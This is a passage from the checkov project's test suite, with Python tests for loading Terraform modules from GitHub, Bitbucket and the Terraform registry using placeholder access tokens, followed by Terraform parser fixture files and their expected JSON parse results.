"github.com/kartikp10/terraform-aws-s3-bucket1/HEAD", "https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-s3-bucket1.git", "github.com/kartikp10/terraform-aws-s3-bucket1/HEAD", "git::https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-s3-bucket1.git", "", ), ( "git@github.com:kartikp10/terraform-aws-s3-bucket1.git", "github.com/kartikp10/terraform-aws-s3-bucket1/HEAD", "https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-s3-bucket1.git", "github.com/kartikp10/terraform-aws-s3-bucket1/HEAD", "git::https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-s3-bucket1.git", "", ), ( "git::ssh://git@github.com/kartikp10/terraform-aws-s3-bucket1.git", "github.com/kartikp10/terraform-aws-s3-bucket1/HEAD", "https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-s3-bucket1.git", "github.com/kartikp10/terraform-aws-s3-bucket1/HEAD", "git::https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-s3-bucket1.git", "", ), ( "github.com/kartikp10/terraform-aws-security-group//modules/http-80", "github.com/kartikp10/terraform-aws-security-group/HEAD/modules/http-80", "https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-security-group", "github.com/kartikp10/terraform-aws-security-group/HEAD", "git::https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-security-group", "modules/http-80", ), ( "git::ssh://git@github.com/kartikp10/terraform-aws-s3-bucket1.git?ref=v1.2.0", "github.com/kartikp10/terraform-aws-s3-bucket1/v1.2.0", "https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-s3-bucket1.git?ref=v1.2.0", "github.com/kartikp10/terraform-aws-s3-bucket1/v1.2.0", "git::https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-s3-bucket1.git?ref=v1.2.0", "", ), ( "git@github.com:kartikp10/terraform-aws-security-group.git//modules/http-80", "github.com/kartikp10/terraform-aws-security-group/HEAD", "https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-security-group", "github.com/kartikp10/terraform-aws-security-group/HEAD", "git::https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-security-group", "modules/http-80", ) ], ids=["github_http_module", "generic_git_module", "ssh_github_module", "generic_ssh_module","github_http_module", "generic_ssh_module_version", "github_ssh_module_version"], ) @mock.patch.dict(os.environ, {"GITHUB_PAT": "ghp_xxxxxxxxxxxxxxxxx"}) @mock.patch("checkov.terraform.module_loading.loaders.git_loader.GitGetter", autospec=True) def test_load_github_private( git_getter, tmp_path: Path, source, expected_content_path, expected_git_url, expected_dest_dir, expected_module_source, expected_inner_module, ): git_getter.side_effect = [Exception(), None] # given current_dir = tmp_path / "github_private" registry = ModuleLoaderRegistry(download_external_modules=True) registry.module_content_cache = {} # when registry.loaders = [GithubAccessTokenLoader()] registry.load(current_dir=str(current_dir), source=source, source_version="latest") # then git_getter.assert_called_with(expected_git_url, create_clone_and_result_dirs=False) @pytest.mark.parametrize( "source, expected_content_path, expected_git_url, expected_dest_dir, expected_module_source, expected_inner_module", [ ( "bitbucket.org/kartikp10/terraform-aws-s3-bucket1", "bitbucket.org/kartikp10/terraform-aws-s3-bucket1/HEAD", "https://x-token-auth:xxxxxxxxxxxxxxxxx@bitbucket.org/kartikp10/terraform-aws-s3-bucket1", # checkov:skip=CKV_SECRET_4 test secret "bitbucket.org/kartikp10/terraform-aws-s3-bucket1/HEAD", "git::https://x-token-auth:xxxxxxxxxxxxxxxxx@bitbucket.org/kartikp10/terraform-aws-s3-bucket1", "", ) ], ids=["module"], ) @mock.patch.dict(os.environ, {"BITBUCKET_TOKEN": "xxxxxxxxxxxxxxxxx"}) # checkov:skip=CKV_SECRET_6 test secret @mock.patch("checkov.terraform.module_loading.loaders.git_loader.GitGetter", autospec=True) def test_load_bitbucket_private( git_getter, tmp_path: Path, source, expected_content_path, expected_git_url, expected_dest_dir, expected_module_source, expected_inner_module, ): git_getter.side_effect = [Exception(), None] # given current_dir = tmp_path / "bitbucket_private" registry = ModuleLoaderRegistry(download_external_modules=True) registry.module_content_cache = {} # when registry.loaders = [BitbucketAccessTokenLoader()] registry.load(current_dir=str(current_dir), source=source, source_version="latest") # then git_getter.assert_called_with(expected_git_url, create_clone_and_result_dirs=False) def test_load_terraform_registry_with_real_download(tmp_path: Path): # given current_dir = str(tmp_path / "tf_download") registry = ModuleLoaderRegistry(download_external_modules=True, external_modules_folder_name=DEFAULT_EXTERNAL_MODULES_DIR) registry.module_content_cache = {} registry.root_dir = current_dir source = "terraform-aws-modules/security-group/aws" # when content = registry.load(current_dir=current_dir, source=source, source_version="~> 3.0") expected_content_path = os.path.join( current_dir, DEFAULT_EXTERNAL_MODULES_DIR, "github.com/terraform-aws-modules/terraform-aws-security-group", ) assert content.loaded() content_path = content.path() assert content_path.startswith(f"{expected_content_path}/v3.") or \ content_path.startswith(f"{expected_content_path}/2cd10c8aca557fd858f401616d5c3b27e2a7b595") def test_load_terraform_registry_check_cache(tmp_path: Path): # given current_dir = str(tmp_path / "cache_check") registry = ModuleLoaderRegistry(download_external_modules=True) registry.module_content_cache = {} registry.root_dir = current_dir source1 = "git::https://github.com/bridgecrewio/checkov_not_working1.git" source2 = "git::https://github.com/bridgecrewio/checkov_not_working2.git" # when registry.load(current_dir=current_dir, source=source1, source_version="latest") assert source1 in registry.failed_urls_cache registry.load(current_dir=current_dir, source=source2, source_version="latest") # then assert source1 in registry.failed_urls_cache assert source2 in registry.failed_urls_cache def test_loader_equality(): githubLoaderOne = GithubLoader() githubLoaderTwo = GithubLoader() assert githubLoaderOne == githubLoaderTwo bitLoader = BitbucketLoader() assert githubLoaderOne != bitLoader genericLoader = GenericGitLoader() assert githubLoaderOne != genericLoader and bitLoader != genericLoader def test_multiple_similar_loaders(): registry = ModuleLoaderRegistry(download_external_modules=True) assert len(registry.loaders) == 7 GithubLoader() GithubLoader() GenericGitLoader() BitbucketLoader() assert len(registry.loaders) == 7 @mock.patch.object(env_vars_config, 'CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES', True) def test_latest_tf_managed(tmp_path: Path): registry = ModuleLoaderRegistry(download_external_modules=False) registry.module_content_cache = { 'terraform-aws-modules/iam:5.55.0': ModuleContent('xxx') } registry.module_latest = { 'terraform-aws-modules/iam': '5.55.0' } mc = registry.load(str(tmp_path / 'cache_check'), source='terraform-aws-modules/iam', source_version='latest') assert mc and mc.path() == 'xxx' @mock.patch.object(env_vars_config, 'CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES', True) def test_latest_tf_managed_registry(tmp_path: Path): registry = ModuleLoaderRegistry(download_external_modules=False) registry.module_content_cache = { 'registry.terraform.io/terraform-aws-modules/iam:5.55.0': ModuleContent('xxx') } registry.module_latest = { 'registry.terraform.io/terraform-aws-modules/iam': '5.55.0' } mc = registry.load(str(tmp_path / 'cache_check'), source='terraform-aws-modules/iam', source_version='latest') assert mc and mc.path() == 'xxx' def test_github_is_matching_loader(tmp_path: Path): loader = GithubLoader() dummy_dir = tmp_path.as_posix() params = ModuleParams( root_dir=dummy_dir, current_dir=dummy_dir, source="", source_version=None, dest_dir=dummy_dir, external_modules_folder_name=".external_modules" ) loader.discover(params) # --- Case 1: github.com/org/repo --- params.module_source = "github.com/org/repo" assert loader._is_matching_loader(params) is True assert params.module_source == "git::https://github.com/org/repo" # --- Case 2: git@github.com:org/repo --- params.module_source = "git@github.com:org/repo" assert loader._is_matching_loader(params) is True assert params.module_source == "git::ssh://git@github.com/org/repo" # --- Case 3: git::git@github.com:org/repo --- params.module_source = "git::git@github.com:org/repo" assert loader._is_matching_loader(params) is True assert params.module_source == "git::ssh://git@github.com/org/repo" ================================================ FILE: tests/terraform/module_loading/test_runner.py ================================================ import os from pathlib import Path from unittest import mock from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.common.util.env_vars_config import env_vars_config @mock.patch.object(env_vars_config, 'CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES', True) def test_runner_with_tf_managed_modules(): # given root_dir = Path(__file__).parent / "data/tf_managed_modules" # when result = Runner().run( root_folder=str(root_dir), runner_filter=RunnerFilter(checks=["CKV_AWS_338"], framework=["terraform"], download_external_modules=False), ) # then summary = result.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 1 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 failed_resources = [check.resource for check in result.failed_checks] expected_failed_resources = ["module.log_group.aws_cloudwatch_log_group.this[0]"] assert failed_resources == expected_failed_resources # test can be removed after setting this flow as default @mock.patch.object(env_vars_config, 'CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES', False) def test_runner_without_tf_managed_modules(): # given root_dir = Path(__file__).parent / "data/tf_managed_modules" # when result = Runner().run( root_folder=str(root_dir), runner_filter=RunnerFilter(checks=["CKV_AWS_338"], framework=["terraform"], download_external_modules=False), ) # then summary = result.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 ================================================ FILE: tests/terraform/module_loading/test_tf_module_finder.py ================================================ import os import shutil import unittest import logging from pathlib import Path from unittest import mock from checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR from checkov.terraform.module_loading.module_finder import ( ModuleDownload, _download_module, find_modules, find_tf_managed_modules, should_download, load_tf_modules ) from checkov.terraform.module_loading.registry import module_loader_registry class TestModuleFinder(unittest.TestCase): @staticmethod def get_src_dir(): cur_dir = os.path.abspath(os.path.dirname(__file__)) return os.path.join(cur_dir, 'data', 'tf_module_downloader', 'public_modules') def test_module_finder(self): modules = find_modules(self.get_src_dir()) self.assertEqual(2, len(modules), f"modules: {list(map(lambda mod: mod.module_link, modules))}") remote_modules = list(filter(lambda mod: should_download(mod.module_link), modules)) self.assertEqual(1, len(remote_modules)) for m in remote_modules: if 'terraform-aws-modules' in m.module_link: self.assertEqual('~> 2.1.0', m.version) else: self.assertIsNone(m.version) def test_module_finder_ignore_comments(self): modules = find_modules(self.get_src_dir()) module_list = list(map(lambda mod: mod.module_link, modules)) for m in module_list: self.assertIn(m, ["terraform-aws-modules/s3-bucket/aws", "../../../../../../../platform/src/stacks/accountStack"]) def test_module_finder_nested_blocks(self): cur_dir = os.path.abspath(os.path.dirname(__file__)) src_dir = os.path.join(cur_dir, 'data', 'nested_modules') modules = find_modules(src_dir) self.assertEqual(1, len(modules)) self.assertEqual("3.14.0", modules[0].version) def test_downloader(self): modules = find_modules(self.get_src_dir()) remote_modules = [m for m in modules if should_download(m.module_link)] module_loader_registry.download_external_modules = True load_tf_modules(os.path.join(self.get_src_dir()), run_parallel=True) downloaded_modules = os.listdir(os.path.join(self.get_src_dir(), DEFAULT_EXTERNAL_MODULES_DIR)) distinct_roots = {md.module_link.split('/')[0] for md in remote_modules} shutil.rmtree(os.path.join(self.get_src_dir(), DEFAULT_EXTERNAL_MODULES_DIR)) self.assertEqual(len(downloaded_modules), 1) self.assertEqual(len(distinct_roots), 1) def test_dem_warning(caplog): """ Test that the --download-external-modules flag warning message is only logged if the flag is not specified on the command line, and that module download warnings are not logged if the flag is set to False. """ caplog.set_level(logging.WARNING) module_loader_registry.download_external_modules = None _download_module(module_loader_registry, ModuleDownload('xxx')) assert 'Failed to download module' in caplog.text assert '--download-external-modules flag' in caplog.text caplog.clear() module_loader_registry.download_external_modules = True _download_module(module_loader_registry, ModuleDownload('xxx')) assert 'Failed to download module' in caplog.text assert '--download-external-modules flag' not in caplog.text caplog.clear() module_loader_registry.download_external_modules = False _download_module(module_loader_registry, ModuleDownload('xxx')) assert 'Failed to download module' not in caplog.text assert '--download-external-modules flag' not in caplog.text def test_tf_managed_and_comment_out_modules(): src_path = Path(__file__).parent / 'data' / 'tf_managed_modules' modules = find_tf_managed_modules(str(src_path)) assert len(modules) == 1 assert modules[0].tf_managed is True assert modules[0].address == "registry.terraform.io/terraform-aws-modules/cloudwatch/aws//modules/log-group:4.1.0" assert modules[0].module_link == ".terraform/modules/log_group/modules/log-group" def test_tf_managed_submodules(): modules = find_tf_managed_modules(Path(__file__).parent / 'data' / 'tf_managed_submodules') assert len(modules) == 2 assert modules[0].tf_managed is True assert modules[0].address == 'somewhere/a:0' assert modules[0].module_name == 'a' assert modules[0].module_link == '.terraform/modules/a' assert modules[1].tf_managed is True assert modules[1].address == 'somewhere/b:1' assert modules[1].module_name == 'a.b' assert modules[1].module_link == '.terraform/modules/a.b' ================================================ FILE: tests/terraform/parser/__init__.py ================================================ ================================================ FILE: tests/terraform/parser/resources/double_slash.tf ================================================ resource "helm_release" "test" { name = "influxdb" repository = "https://helm.influxdata.com" chart = "influxdb" namespace = "influxdb" set { name = "ingress.annotations.kubernetes\\.io/ingress\\.class" value = var.influxdb_ingress_annotations_kubernetes_ingress_class } } ================================================ FILE: tests/terraform/parser/resources/failing_module_address/registry_security_group.tf ================================================ module "security_group1" { source = "https://github.com/bridgecrewio/checkov_not_working.git" version = "latest" name = "example" description = "Security group for example usage with EC2 instance" vpc_id = data.aws_vpc.default.id ingress_cidr_blocks = ["0.0.0.0/0"] ingress_rules = ["http-80-tcp", "all-icmp"] egress_rules = ["all-all"] } module "security_group2" { source = "https://github.com/bridgecrewio/checkov_not_working.git" version = "latest" name = "example" description = "Security group for example usage with EC2 instance" vpc_id = data.aws_vpc.default.id ingress_cidr_blocks = ["0.0.0.0/0"] ingress_rules = ["http-80-tcp", "all-icmp"] egress_rules = ["all-all"] } ================================================ FILE: tests/terraform/parser/resources/file_bom/with_bom.tf ================================================ resource "aws_s3_bucket" "example" { bucket = "example" } ================================================ FILE: tests/terraform/parser/resources/file_bom/without_bom.tf ================================================ resource "aws_s3_bucket" "example" { bucket = "example" } ================================================ FILE: tests/terraform/parser/resources/hcl_timeout/main.tf ================================================ resource "aws_glue_connection" "example" { name = "example-connection" connection_properties = { startswith(each.value.connection_properties[x], "$${abcded:" variable "connection_properties" { } ================================================ FILE: tests/terraform/parser/resources/local_module/main.tf ================================================ module "mod" { source = "./module" versioning = true } module "mod2" { source = "./module" versioning = false } ================================================ FILE: tests/terraform/parser/resources/local_module/module/main.tf ================================================ resource "aws_s3_bucket" "mod_bucket" { bucket = "example" versioning { enabled = var.versioning } } variable "versioning" { type = bool } ================================================ FILE: tests/terraform/parser/resources/malformed_outputs/main.tf ================================================ ## Outputs output "cluster_name" { value = "${aws_eks_cluster.eks.name}" } output "kubeconfig" { value = "${local.kubeconfig}" } output "aws-auth-cm.yaml" { value = "${local.aws-auth-cm}" } //output "config_map_aws_auth" { // value = "${local.config_map_aws_auth}" //} ================================================ FILE: tests/terraform/parser/resources/parse_backtrack_module/example/main.tf ================================================ module "bucket_local" { source = "../" bucket_name = var.name } # the remote module needs to be at the end to properly test the issue module "bucket_remote" { source = "terraform-aws-modules/s3-bucket/aws" bucket = "remote" } ================================================ FILE: tests/terraform/parser/resources/parse_backtrack_module/main.tf ================================================ variable "bucket_name" { type = string } resource "aws_s3_bucket" "root" { bucket = var.bucket_name } ================================================ FILE: tests/terraform/parser/resources/parse_file_vs_dir/main.tf ================================================ # Do not add more files to this directory. resource "aws_elb" "learn" { instances = aws_instance.ubuntu[*].id idle_timeout = 400 connection_draining = true connection_draining_timeout = 400 listener { instance_port = 0 instance_protocol = "" lb_port = 0 lb_protocol = "" } } resource "aws_elb" "learn1" { instances = aws_instance.ubuntu[*].id idle_timeout = 400 connection_draining = true connection_draining_timeout = 400 listener { instance_port = 0 instance_protocol = "" lb_port = 0 lb_protocol = "" } } resource "aws_elb" "learn2" { instances = aws_instance.ubuntu[*].id idle_timeout = 400 connection_draining = true connection_draining_timeout = 400 listener { instance_port = 0 instance_protocol = "" lb_port = 0 lb_protocol = "" } } ================================================ FILE: tests/terraform/parser/resources/parser_dup_nested/main.tf ================================================ provider "aws" { region = "us-west-2" alias = "test_provider" test_provider = True } module "s3_module" { source = "./module" bucket = false bucket2 = "" } module "s3_module2" { source = "./module" bucket = "" bucket2 = true } ================================================ FILE: tests/terraform/parser/resources/parser_dup_nested/module/main.tf ================================================ module "inner_s3_module" { source = "./module2" bucket2 = var.bucket } module "inner_s3_module2" { source = "./module2" bucket2 = var.bucket2 } variable "bucket" { type = string } variable "bucket2" { type = string } ================================================ FILE: tests/terraform/parser/resources/parser_dup_nested/module/module2/main.tf ================================================ locals { bucket2 = var.bucket2 } resource "aws_s3_bucket_public_access_block" "var_bucket" { bucket = local.bucket2 block_public_acls = true block_public_policy = true ignore_public_acls = true restrict_public_buckets = true } variable "bucket2" { type = string } ================================================ FILE: tests/terraform/parser/resources/parser_nested_modules/main.tf ================================================ provider "aws" { region = "us-west-2" alias = "test_provider" test_provider = True } module "s3_module" { source = "./module" bucket = aws_s3_bucket.example.id } resource "aws_s3_bucket" "example" { bucket = "example" } ================================================ FILE: tests/terraform/parser/resources/parser_nested_modules/module/main.tf ================================================ module "inner_s3_module" { source = "./module2" bucket2 = var.bucket } ================================================ FILE: tests/terraform/parser/resources/parser_nested_modules/module/module2/main.tf ================================================ locals { bucket2 = var.bucket2 } resource "aws_s3_bucket_public_access_block" "var_bucket" { bucket = local.bucket2 block_public_acls = true block_public_policy = true ignore_public_acls = true restrict_public_buckets = true } ================================================ FILE: tests/terraform/parser/resources/parser_nested_modules/module/module2/variable.tf ================================================ variable "bucket2" { type = string } ================================================ FILE: tests/terraform/parser/resources/parser_nested_modules/module/variable.tf ================================================ variable "bucket" { type = string } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/README.md ================================================ Child directories contain parsing scenarios along with an `expected.json` file with the total expected result output. During real evaluation all files will use absolute paths. To make tests work across various systems, test expectations are written with relative paths and tests will convert to absolute paths on the fly. If evaluations are also being tested, an `eval.json` file may be created with the expected evaluation data. ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/account_dirs_and_modules/envs/myaccount/us-east-1/main.tf ================================================ module "mydb" { source = "../../../modules/db" DB_INSTANCE_TYPE = "${var.DB_INSTANCE_TYPE}" ENGINE_VERSION = "${var.ENGINE_VERSION}" ENCRYPTED = "${var.ENCRYPTED}" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/account_dirs_and_modules/envs/myaccount/us-east-1/terraform.tfvars ================================================ ENGINE_VERSION = "11" DB_INSTANCE_TYPE = "db.t3.small" ENCRYPTED = true ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/account_dirs_and_modules/envs/myaccount/us-east-1/variables.tf ================================================ variable "ENGINE_VERSION" {} variable "DB_INSTANCE_TYPE" {} variable "ENCRYPTED" {} ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/account_dirs_and_modules/envs/myotheraccount/us-east-1/main.tf ================================================ module "mydb" { source = "../../../modules/db" DB_INSTANCE_TYPE = "${var.DB_INSTANCE_TYPE}" ENGINE_VERSION = "${var.ENGINE_VERSION}" ENCRYPTED = "${var.ENCRYPTED}" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/account_dirs_and_modules/envs/myotheraccount/us-east-1/terraform.tfvars ================================================ ENGINE_VERSION = "11" DB_INSTANCE_TYPE = "db.t9.mega" ENCRYPTED = true ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/account_dirs_and_modules/envs/myotheraccount/us-east-1/variables.tf ================================================ variable "ENGINE_VERSION" {} variable "DB_INSTANCE_TYPE" {} variable "ENCRYPTED" {} ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/account_dirs_and_modules/expected.json ================================================ { "{\"file_path\": \"envs/myaccount/us-east-1/main.tf\", \"tf_source_modules\": null}": { "module": [ { "mydb": { "source": ["../../../modules/db"], "DB_INSTANCE_TYPE": ["db.t3.small"], "ENGINE_VERSION": [11], "ENCRYPTED": [true], "__resolved__": [ "{\"file_path\": \"modules/db/db.tf\", \"tf_source_modules\": {\"path\": \"envs/myaccount/us-east-1/main.tf\", \"name\": \"mydb\", \"foreach_idx\": null, \"nested_tf_module\": null}}", "{\"file_path\": \"modules/db/variables.tf\", \"tf_source_modules\": {\"path\": \"envs/myaccount/us-east-1/main.tf\", \"name\": \"mydb\", \"foreach_idx\": null, \"nested_tf_module\": null}}" ], "__start_line__": 1, "__end_line__": 6, "__address__": "mydb" } } ] }, "{\"file_path\": \"envs/myaccount/us-east-1/variables.tf\", \"tf_source_modules\": null}": { "variable": [ { "ENGINE_VERSION": { "__start_line__": 1, "__end_line__": 1, "__address__": "ENGINE_VERSION" } }, { "DB_INSTANCE_TYPE": { "__start_line__": 2, "__end_line__": 2, "__address__": "DB_INSTANCE_TYPE" } }, { "ENCRYPTED": { "__start_line__": 3, "__end_line__": 3, "__address__": "ENCRYPTED" } } ] }, "{\"file_path\": \"modules/db/variables.tf\", \"tf_source_modules\": {\"path\": \"envs/myaccount/us-east-1/main.tf\", \"name\": \"mydb\", \"foreach_idx\": null, \"nested_tf_module\": null}}": { "variable": [ { "DB_DELETION_PROTECTION": { "default": [true], "__start_line__": 1, "__end_line__": 3, "__address__": "module.mydb.DB_DELETION_PROTECTION" } }, { "ENGINE_VERSION": { "default": [11], "__start_line__": 5, "__end_line__": 7, "__address__": "module.mydb.ENGINE_VERSION" } }, { "DB_INSTANCE_TYPE": { "default": ["db.t3.small"], "__start_line__": 9, "__end_line__": 11, "__address__": "module.mydb.DB_INSTANCE_TYPE" } }, { "ENCRYPTED": { "__start_line__": 13, "__end_line__": 13, "__address__": "module.mydb.ENCRYPTED" } } ] }, "{\"file_path\": \"modules/db/db.tf\", \"tf_source_modules\": {\"path\": \"envs/myaccount/us-east-1/main.tf\", \"name\": \"mydb\", \"foreach_idx\": null, \"nested_tf_module\": null}}": { "resource": [ { "aws_db_instance": { "db": { "name": ["my_db"], "instance_class": ["db.t3.small"], "engine": ["postgres"], "engine_version": [11], "storage_type": ["gp2"], "deletion_protection": [true], "storage_encrypted": [true], "__start_line__": 1, "__end_line__": 9, "__address__": "module.mydb.aws_db_instance.db" } } } ] }, "{\"file_path\": \"envs/myotheraccount/us-east-1/main.tf\", \"tf_source_modules\": null}": { "module": [ { "mydb": { "source": ["../../../modules/db"], "DB_INSTANCE_TYPE": ["db.t9.mega"], "ENGINE_VERSION": [11], "ENCRYPTED": [true], "__resolved__": [ "{\"file_path\": \"modules/db/db.tf\", \"tf_source_modules\": {\"path\": \"envs/myotheraccount/us-east-1/main.tf\", \"name\": \"mydb\", \"foreach_idx\": null, \"nested_tf_module\": null}}", "{\"file_path\": \"modules/db/variables.tf\", \"tf_source_modules\": {\"path\": \"envs/myotheraccount/us-east-1/main.tf\", \"name\": \"mydb\", \"foreach_idx\": null, \"nested_tf_module\": null}}" ], "__start_line__": 1, "__end_line__": 6, "__address__": "mydb" } } ] }, "{\"file_path\": \"envs/myotheraccount/us-east-1/variables.tf\", \"tf_source_modules\": null}": { "variable": [ { "ENGINE_VERSION": { "__start_line__": 1, "__end_line__": 1, "__address__": "ENGINE_VERSION" } }, { "DB_INSTANCE_TYPE": { "__start_line__": 2, "__end_line__": 2, "__address__": "DB_INSTANCE_TYPE" } }, { "ENCRYPTED": { "__start_line__": 3, "__end_line__": 3, "__address__": "ENCRYPTED" } } ] }, "{\"file_path\": \"modules/db/variables.tf\", \"tf_source_modules\": {\"path\": \"envs/myotheraccount/us-east-1/main.tf\", \"name\": \"mydb\", \"foreach_idx\": null, \"nested_tf_module\": null}}": { "variable": [ { "DB_DELETION_PROTECTION": { "default": [true], "__start_line__": 1, "__end_line__": 3, "__address__": "module.mydb.DB_DELETION_PROTECTION" } }, { "ENGINE_VERSION": { "default": [11], "__start_line__": 5, "__end_line__": 7, "__address__": "module.mydb.ENGINE_VERSION" } }, { "DB_INSTANCE_TYPE": { "default": ["db.t9.mega"], "__start_line__": 9, "__end_line__": 11, "__address__": "module.mydb.DB_INSTANCE_TYPE" } }, { "ENCRYPTED": { "__start_line__": 13, "__end_line__": 13, "__address__": "module.mydb.ENCRYPTED" } } ] }, "{\"file_path\": \"modules/db/db.tf\", \"tf_source_modules\": {\"path\": \"envs/myotheraccount/us-east-1/main.tf\", \"name\": \"mydb\", \"foreach_idx\": null, \"nested_tf_module\": null}}": { "resource": [ { "aws_db_instance": { "db": { "name": ["my_db"], "instance_class": ["db.t9.mega"], "engine": ["postgres"], "engine_version": [11], "storage_type": ["gp2"], "deletion_protection": [true], "storage_encrypted": [true], "__start_line__": 1, "__end_line__": 9, "__address__": "module.mydb.aws_db_instance.db" } } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/account_dirs_and_modules/modules/db/db.tf ================================================ resource "aws_db_instance" "db" { name = "my_db" instance_class = "${var.DB_INSTANCE_TYPE}" engine = "postgres" engine_version = "${var.ENGINE_VERSION}" storage_type = "gp2" deletion_protection = "${var.DB_DELETION_PROTECTION}" storage_encrypted = "${var.ENCRYPTED}" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/account_dirs_and_modules/modules/db/variables.tf ================================================ variable "DB_DELETION_PROTECTION" { default = true } variable "ENGINE_VERSION" { default = "9.5" } variable "DB_INSTANCE_TYPE" { default = "db.t3.medium" } variable "ENCRYPTED" {} ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/bad_ref_fallbacks/expected.json ================================================ { "main.tf": { "locals": [ { "BAD_VAR": ["${var.var_not_there}"], "BAD_LOCAL": ["${local.local_not_there}"], "BAD_MODULE": ["${module.module_not_there.nope}"], "BAD_MODULE2": ["${module.module_not_there}"], "BAD_MODULE3": ["${module.module_not_there.nope.still_not}"], "QUOTE_IN_QUOTE_446": ["${filemd5(\"${path.module}/templates/some-file.json\")}"] } ], "resource": [ { "aws_lambda_function": { "test_lambda": { "source_code_hash": ["${filemd5(\"${path.module}/templates/some-file.json\")}"] } } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/bad_ref_fallbacks/main.tf ================================================ locals { BAD_VAR = var.var_not_there BAD_LOCAL = local.local_not_there BAD_MODULE = module.module_not_there.nope BAD_MODULE2 = module.module_not_there BAD_MODULE3 = module.module_not_there.nope.still_not QUOTE_IN_QUOTE_446 = "${filemd5("${path.module}/templates/some-file.json")}" } resource "aws_lambda_function" "test_lambda" { source_code_hash = "${filemd5("${path.module}/templates/some-file.json")}" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/bad_tf_nested_modules_enable/expected.json ================================================ { "{\"file_path\": \"skip_bad_tf_example.tf\", \"tf_source_modules\": null}": { "module": [ { "bar": { "memory": ["1G"], "source": ["baz"], "__start_line__": 11, "__end_line__": 14, "__resolved__": [], "__address__": "bar" } }, { "okay": { "source": ["./okay", "baz2"], "__start_line__": 16, "__end_line__": 19, "__resolved__": [], "__address__": "okay" } } ], "variable": [ { "okay": { "__start_line__": 1, "__end_line__": 2, "__address__": "okay" } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/bad_tf_nested_modules_enable/skip_bad_tf_example.tf ================================================ variable "okay" { } // Variable is missing a name, not valid terraform syntex variable { name = "test" default = "test_value" type = "string" } module "bar" { memory = "1G" source = "baz" } module "okay" { source = "./okay" source = "baz2" } // Module is missing a name, can't be referenced or deployed module { source = "./not-okay" memory = "far" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/bogus_function/expected.json ================================================ { "main.tf": { "value": ["${not_a_real_function(1,2,3,4)}"] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/bogus_function/main.tf ================================================ value = not_a_real_function(1, 2, 3, 4) ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/colon/colon.tf ================================================ variable "tags" { type = list(object({ key: string, value: string, propagate_at_launch: bool })) default = [] } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/colon/expected.json ================================================ { "colon.tf": { "variable": [ { "tags": { "type": [ "${list(object({'key': '${string}', 'value': '${string}', 'propagate_at_launch': '${bool}'}))}" ] } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/compound_local/checkov.tf ================================================ locals { FIVE = "five" NINE = "nine" TWO = "two" VICTOR = "wictor" AUTHORIZATION_CODE = "${local.NINE}-${local.FIVE}-${local.VICTOR}-${local.VICTOR}-${local.TWO}" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/compound_local/expected.json ================================================ { "{\"file_path\": \"checkov.tf\", \"tf_source_modules\": null}": { "locals": [ { "FIVE": ["five"], "NINE": ["nine"], "TWO": ["two"], "VICTOR": ["wictor"], "AUTHORIZATION_CODE": ["nine-five-wictor-wictor-two"] } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/concat_function/expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "locals": [ { "inline_map": [ { "key": "a_key", "value": "a_value", "propagate_at_launch": false } ] }, { "simple_list": [ [ "a", "", "b", "c" ] ], "simple_list2": [ [ "a", "", "b", "c" ] ], "single_item_list": [ ["a"] ], "single_item_trailing_list": [ ["a"] ] } ], "variable": [ { "extra_tags": { "default": [ [ { "key": "Foo", "value": "Bar", "propagate_at_launch": true }, { "key": "Baz", "value": "Bam", "propagate_at_launch": true } ] ], "__start_line__": 10, "__end_line__": 23, "__address__": "extra_tags" } } ], "resource": [ { "aws_autoscaling_group": { "bar": { "name": [ "foobar3-terraform-test" ], "max_size": [ 5 ], "min_size": [ 2 ], "tags": [ [ { "key": "interpolation1", "value": "value3", "propagate_at_launch": true }, { "key": "interpolation2", "value": "value4", "propagate_at_launch": true }, { "key": "a_key", "value": "a_value", 